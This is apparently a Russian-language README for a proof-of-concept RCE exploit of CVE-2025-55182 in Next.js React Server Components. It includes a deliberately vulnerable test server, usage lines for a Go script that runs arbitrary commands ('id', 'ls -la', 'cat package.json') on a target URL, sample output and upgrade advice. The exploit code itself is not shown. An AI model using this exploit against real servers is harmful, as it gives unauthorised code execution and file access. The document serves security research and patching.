
Эксплоит (proof-of-concept) для CVE-2025-55182, уязвимости удаленного выполнения кода (RCE) в Next.js через небезопасную десериализацию в RSC-запросах. Включает POC-скрипт на Go и уязвимый тестовый сервер для исследований в области безопасности и обучения.
⚠️ Этот инструмент предназначен только для исследований безопасности и образовательных целей. Не используйте в незаконных целях. ⚠️
CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода (RCE) во фреймворке Next.js. Уязвимость вызвана небезопасной десериализацией при обработке запросов к React Server Components (RSC). Злоумышленник может выполнить произвольный код на сервере без авторизации, отправив вредоносный HTTP-запрос.
Затронутые версии:
Этот проект предоставляет уязвимый тестовый сервер Next.js test-server.
Убедитесь, что у вас установлены Node.js и npm.
cd test-server
npm install
npm run dev
Сервер по умолчанию запускается на http://localhost:3000.
Примечание: Если возникла ошибка с lock-файлом, попробуйте выполнить:
rm -f .next/dev/lock && npm run dev
Этот проект предоставляет POC-скрипт на Go poc.go.
Использование:
go run poc.go [целевой_URL] [команда_для_выполнения]
Примеры:
Выполнение команды id (по умолчанию)
go run poc.go
Или
go run poc.go http://localhost:3000 id
Просмотр файлов текущей директории
go run poc.go http://localhost:3000 "ls -la"
Просмотр содержимого файла
go run poc.go http://localhost:3000 "cat package.json"
Ожидаемый вывод:
Хотя HTTP-статус возвращает 500, результат выполнения команды будет включен в поле digest ответа.
1:E{"digest":"uid=502(hoosin) gid=20(staff) ...","name":"Error","message":"NEXT_REDIRECT",...}
Обновите Next.js до безопасной версии:
npm install next@latest react@latest react-dom@latest